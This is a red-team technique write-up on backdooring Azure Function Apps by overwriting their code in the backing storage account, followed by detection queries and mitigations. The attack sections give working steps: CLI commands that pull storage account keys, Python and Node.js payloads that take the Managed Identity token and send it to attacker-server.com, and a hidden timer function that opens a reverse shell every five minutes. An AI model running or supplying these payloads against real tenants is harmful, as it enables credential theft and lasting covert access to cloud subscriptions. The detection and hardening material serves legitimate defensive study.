| Attribute | Details |
|---|---|
| Technique ID | PERSIST-SERVER-003 |
| MITRE ATT&CK v18.1 | T1505.003 - Server Software Component: Web Shell |
| Tactic | Persistence |
| Platforms | Entra ID |
| Severity | Critical |
| CVE | N/A (Configuration-based attack) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All Azure Function Runtime versions (Python 3.9+, Node.js 14+, .NET 6+, Java 11+, PowerShell 7+) |
| Patched In | N/A (By-design flaw; mitigations available) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Functions are serverless compute services that execute code in response to events (HTTP requests, blob uploads, timers, etc.). Each Function App is backed by a dedicated Azure Storage Account (AzureWebJobsStorage) that stores the function code. An attacker with Storage Account Contributor role or access to storage account keys can modify function code files hosted in the storage account’s file share. When the function is next triggered (via HTTP request, blob event, or timer), the malicious code executes with the permissions of the Function App’s assigned Managed Identity, enabling privilege escalation, lateral movement, and credential theft. Unlike typical web shells, this persists indefinitely—even after password resets—because the Managed Identity token is not tied to user credentials.
Attack Surface: Azure Storage Accounts, File Shares (function code containers), Azure Function App triggers (HTTP endpoints, blob events, timers), Managed Identities, Key Vault integrations.
Business Impact: Complete Azure Subscription Compromise. An attacker executes arbitrary code under a potentially high-privilege Managed Identity (e.g., Contributor, Owner role). This enables data exfiltration, lateral movement to databases, VMs, and other Azure resources, unauthorized cost generation via mining or DoS, and persistent backdoor access independent of user account lifecycle.
Technical Context: Exploitation requires 10-15 minutes with Storage Account Contributor access. Detection likelihood is Medium if storage account activity logging and Application Insights are enabled. However, malicious function invocations can blend in with legitimate traffic if carefully throttled.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 4.13, 4.14 | Ensure storage account uses Managed Identity instead of Shared Keys |
| DISA STIG | Azure-1-1 | Azure Resource Access Controls |
| CISA SCuBA | IA-2(6) | Azure Identity Authentication and MFA |
| NIST 800-53 | AC-3(7), AC-6(2) | Least Privilege; Role-Based Access Control |
| GDPR | Art. 32 | Security Measures for Processing Personal Data |
| DORA | Art. 10 | Application Resilience and Recovery |
| NIS2 | Art. 21(d) | Vulnerability Management and Code Review |
| ISO 27001 | A.6.1.3, A.9.2.3 | Access Control; Privileged Access Management |
| ISO 27005 | Section 7 | Risk Assessment - Unauthorized Code Execution |
Supported Versions: All Function App runtime versions
Prerequisites: Storage Account Contributor role; Azure CLI installed and authenticated.
Objective: Identify target Function Apps and their backing storage accounts, then locate their connection strings containing access keys.
Command:
# List all Function Apps in current subscription
az functionapp list --output table
# Get details for a specific Function App
az functionapp show --name myFunctionApp --resource-group myRG --query "appSettings"
# Extract the AzureWebJobsStorage connection string
az functionapp config appsettings list --name myFunctionApp --resource-group myRG --query "[?name=='AzureWebJobsStorage'].value" -o tsv
Expected Output:
DefaultEndpointsProtocol=https;AccountName=myfunctionstg3d8a;AccountKey=XXXXXXXXXXXXX==;EndpointSuffix=core.windows.net
What This Means:
myfunctionstg3d8a) and account key (full access).OpSec & Evasion:
Troubleshooting:
az account showObjective: Connect to the storage account and list function code files in the file share.
Command:
# Extract storage account name and key from connection string
STORAGE_ACCOUNT="myfunctionstg3d8a"
STORAGE_KEY="XXXXXXXXXXXXX=="
# List file shares (typically named 'azure-webjobs-secrets' or similar)
az storage share list --account-name $STORAGE_ACCOUNT --account-key $STORAGE_KEY
# List files in the share (default share is usually 'azure-webjobs-<appname>')
az storage file list --account-name $STORAGE_ACCOUNT --account-key $STORAGE_KEY --share-name "azure-webjobs-myfunctionapp" --output table
Expected Output:
Name IsDirectory Content Length
──────────────── ────────────── ──────────────
myTriggerFunction True 0
HttpTrigger True 0
...
What This Means:
myTriggerFunction).__init__.py, function_app.py, index.js).OpSec & Evasion:
Objective: Replace legitimate function code with malicious code that exfiltrates the Managed Identity token to a remote server.
Command (For Python Functions):
# Create malicious Python code that steals the Managed Identity token
cat > malicious_init.py << 'EOF'
import azure.functions as func
import os
import json
import requests
from azure.identity import DefaultAzureCredential
def main(req: func.HttpRequest) -> func.HttpResponse:
try:
# Obtain the Managed Identity token for the Function App
credential = DefaultAzureCredential()
token = credential.get_token("https://management.azure.com/.default")
# Exfiltrate token to attacker-controlled server
payload = {
"token": token.token,
"expires_on": token.expires_on,
"function_app": os.getenv("WEBSITE_HOSTNAME"),
"subscription_id": os.getenv("SUBSCRIPTION_ID")
}
# Send to attacker's webhook
requests.post("https://attacker-server.com/exfil", json=payload, timeout=5)
# Return success to avoid suspicion
return func.HttpResponse(f"OK", status_code=200)
except Exception as e:
return func.HttpResponse(f"Error: {str(e)}", status_code=500)
EOF
# Upload the malicious file to replace the original function code
az storage file upload --account-name $STORAGE_ACCOUNT --account-key $STORAGE_KEY \
--share-name "azure-webjobs-myfunctionapp" \
--source malicious_init.py \
--path "myTriggerFunction/__init__.py"
Command (For Node.js Functions):
// Malicious code for Node.js
const { DefaultAzureCredential } = require("@azure/identity");
const axios = require("axios");
module.exports = async function (context, req) {
try {
const credential = new DefaultAzureCredential();
const token = await credential.getToken("https://management.azure.com/.default");
await axios.post("https://attacker-server.com/exfil", {
token: token.token,
expiresOn: token.expiresOn,
functionApp: process.env.WEBSITE_HOSTNAME
});
context.res = { status: 200, body: "OK" };
} catch (error) {
context.res = { status: 500, body: error.message };
}
};
Expected Output:
File uploaded successfully to azure-webjobs-myfunctionapp/myTriggerFunction/__init__.py
What This Means:
OpSec & Evasion:
Troubleshooting:
az storage account keys list --name $STORAGE_ACCOUNT --resource-group $RGObjective: Invoke the function to trigger the malicious code and receive the stolen token.
Command (HTTP Trigger):
# Get the function URL
FUNCTION_URL=$(az functionapp function show --name myFunctionApp --resource-group myRG --function-name myTriggerFunction --query "invokeUrlTemplate" -o tsv)
# Trigger the function (attacker-controlled server receives the token)
curl -X POST "$FUNCTION_URL"
# On the attacker's server, retrieve the exfiltrated token
curl "https://attacker-server.com/exfil" | jq
Expected Output (On Attacker’s Server):
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
"expires_on": 1705170000,
"function_app": "myfunctionapp.azurewebsites.net",
"subscription_id": "12345678-1234-1234-1234-123456789012"
}
What This Means:
OpSec & Evasion:
References & Proofs:
Supported Versions: All Function App runtime versions with Managed Identity support
Prerequisites: Compromised user/service principal with Storage Account Reader role (not Contributor); Function App with Managed Identity.
Objective: Use a compromised low-privilege identity to escalate privileges by leveraging a Function App’s Managed Identity.
Command:
# Step 1: List storage accounts accessible to current user
az storage account list --query "[].{name:name, resourceGroup:resourceGroup}" -o table
# Step 2: For each storage account, get the connection string (if available)
az storage account show-connection-string --name myfunctionstg --resource-group myRG --query connectionString -o tsv
# Step 3: Use the connection string to access the Function App's code
# (Continue with Steps 2-4 from METHOD 1)
What This Means:
Supported Versions: All Function App runtime versions
Prerequisites: Access to function code (same as METHOD 1); ability to create or modify function triggers.
Objective: Create a hidden function or timer-triggered function that exfiltrates data or creates reverse shells on a schedule.
Command:
# Create a hidden timer-triggered function (executes every 5 minutes)
cat > malicious_timer.py << 'EOF'
import azure.functions as func
import os
import socket
import subprocess
def main(mytimer: func.TimerRequest) -> None:
# Reverse shell to attacker's server
attacker_ip = "attacker-server.com"
attacker_port = 4444
try:
# Establish reverse shell
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((attacker_ip, attacker_port))
# Execute command and send output back
while True:
cmd = sock.recv(1024).decode()
output = subprocess.check_output(cmd, shell=True).decode()
sock.send(output.encode())
except Exception as e:
pass # Fail silently
EOF
# Create function.json for timer trigger
cat > function.json << 'EOF'
{
"scriptFile": "HiddenTask.py",
"bindings": [
{
"name": "mytimer",
"type": "timerTrigger",
"direction": "in",
"schedule": "0 */5 * * * *"
}
]
}
EOF
# Upload both files to create a persistent backdoor
az storage file upload --account-name $STORAGE_ACCOUNT --account-key $STORAGE_KEY \
--share-name "azure-webjobs-myfunctionapp" \
--source malicious_timer.py \
--path "HiddenTimerTask/__init__.py"
az storage file upload --account-name $STORAGE_ACCOUNT --account-key $STORAGE_KEY \
--share-name "azure-webjobs-myfunctionapp" \
--source function.json \
--path "HiddenTimerTask/function.json"
What This Means:
Rule Configuration:
SPL Query:
index=azure_storage OperationName IN ("PutBlob", "PutFile", "SetFileProperties")
Resource="*/azure-webjobs-*"
| stats count by OperationName, CallerIPAddress, Resource
| where count > 5
What This Detects:
Manual Configuration Steps:
Rule Configuration:
SPL Query:
index=azure_appinsights source="*function*"
(message="*credential*" OR message="*token*" OR message="*DefaultAzureCredential*")
type=exception
| fields _time, functionName, message, ExceptionDetails
| stats count by functionName
What This Detects:
Rule Configuration:
KQL Query:
StorageAccountLogs
| where OperationName in ("PutFile", "PutBlob") and StorageAccountName contains "webjobs"
| extend Resource = tostring(Resource)
| where Resource contains "azure-webjobs"
| project TimeGenerated, CallerIPAddress, OperationName, StorageAccountName, Resource
| summarize EventCount=count() by CallerIPAddress, TimeGenerated
| where EventCount > 5
What This Detects:
Manual Configuration Steps (Azure Portal):
Azure Storage File Share Modification - Function AppsHigh5 minutes24 hoursNote: This technique is cloud-only and does not generate Windows Event Log entries. Monitor Azure Activity Log and Storage Account diagnostics instead.
Azure Activity Log Events to Monitor:
Manual Configuration Steps (Azure Portal):
FunctionAppCodeInjectionMonitoringNote: Sysmon is on-premises only. For Azure-native monitoring, use Azure Defender for Storage.
Alert Name: “Suspicious modification of Function App code detected”
Manual Configuration Steps (Enable Defender for Cloud):
Reference: Microsoft Defender for Cloud - Storage Protection
Connect-ExchangeOnline
Search-UnifiedAuditLog -Operations "PutFile", "PutBlob" -StartDate (Get-Date).AddDays(-1) -FreeText "azure-webjobs" | Select-Object CreationDate, UserIds, Operations, ObjectId
Disable Shared Key Authorization and Use Managed Identity: Configure Function Apps to use Managed Identity instead of connection strings/keys for accessing storage accounts. Applies To Versions: All Function App versions (2022+)
Manual Steps (Azure Portal):
DefaultEndpointsProtocol=...AccountKey=... to: UseDefaultAzureCredential=trueManual Steps (PowerShell/Azure CLI):
# Update Function App to use Managed Identity
$ResourceGroup = "myRG"
$FunctionAppName = "myFunctionApp"
$StorageAccountName = "myfunctionstg"
# Create a Managed Identity for the Function App
$functionApp = Get-AzFunctionApp -ResourceGroupName $ResourceGroup -Name $FunctionAppName
$msi = Get-AzUserAssignedIdentity -ResourceGroupName $ResourceGroup -Name "$FunctionAppName-identity" -ErrorAction SilentlyContinue
if (-not $msi) {
$msi = New-AzUserAssignedIdentity -ResourceGroupName $ResourceGroup -Name "$FunctionAppName-identity"
}
# Assign Storage Blob Data Owner role to the Managed Identity
$storageAccount = Get-AzStorageAccount -ResourceGroupName $ResourceGroup -Name $StorageAccountName
New-AzRoleAssignment -ObjectId $msi.PrincipalId -RoleDefinitionName "Storage Blob Data Owner" -Scope $storageAccount.Id
# Update Function App connection to use Managed Identity
$settings = @{"AzureWebJobsStorage" = "UseDefaultAzureCredential=true"}
Update-AzFunctionAppSettings -ResourceGroupName $ResourceGroup -Name $FunctionAppName -Settings $settings
Enable Storage Account Diagnostics and Monitoring: Log all access to storage accounts, especially file modifications. Applies To Versions: All Function App versions
Manual Steps (Azure Portal):
FunctionAppStorageMonitoringImplement Azure Policy to Enforce Managed Identity: Automatically enforce that all new Function Apps use Managed Identity, preventing Shared Key usage. Applies To Versions: All
Manual Steps (Azure Portal):
Require Managed Identity for Function Apps{
"if": {
"field": "type",
"equals": "Microsoft.Web/sites"
},
"then": {
"effect": "audit",
"details": {
"type": "Microsoft.Web/sites/config",
"name": "web",
"evaluation": "string",
"match": "AzureWebJobsStorage",
"value": "UseDefaultAzureCredential"
}
}
}
Enable Application Insights and Alert on Suspicious Executions: Monitor function invocations for anomalies. Applies To Versions: All with Application Insights support
Manual Steps (Azure Portal):
customDimensions.functionName == "myTriggerFunction" | summarize FailureCount = count() by tostring(customDimensions.exception)FailureCount > 10/functions/ directory require 2+ approvals203.0.113.0/2420.43.73.0/24 (Azure service endpoint)myFunctionAppBlock Function App Changes from Untrusted Networks# Check if Function Apps are using Managed Identity
$functionApps = Get-AzFunctionApp
foreach ($app in $functionApps) {
$config = Get-AzFunctionAppConfig -ResourceGroupName $app.ResourceGroupName -Name $app.Name
if ($config -like "*AccountKey*") {
Write-Host "VULNERABLE: $($app.Name) uses Shared Key authorization"
} else {
Write-Host "SECURE: $($app.Name) uses Managed Identity"
}
}
# Check storage account diagnostic logging
Get-AzStorageAccountDiagnosticSetting -ResourceGroupName myRG -StorageAccountName myfunctionstg | Select-Object -ExpandProperty Logs
Expected Output (If Secure):
SECURE: myFunctionApp uses Managed Identity
Enabled: True, Retention: 365 days
What to Look For:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-VALID-001] Default Credential Exploitation | Attacker gains access to Azure portal with weak/default credentials |
| 2 | Reconnaissance | [REC-CLOUD-005] Azure Resource Graph Enumeration | Identify Function Apps and their storage accounts |
| 3 | Privilege Escalation | [PE-ACCTMGMT-014] Global Administrator Backdoor | Escalate from Storage Reader to Storage Contributor |
| 4 | Current Step | [PERSIST-SERVER-003] | Azure Function Backdoor - Inject malicious code into function |
| 5 | Credential Access | [CA-TOKEN-003] Azure Function Key Extraction | Steal Managed Identity tokens via exfiltration |
| 6 | Lateral Movement | [LM-AUTH-032] Function App Identity Hopping | Use stolen token to access additional Azure resources |
| 7 | Impact | Data exfiltration, VM compromise, ransomware deployment |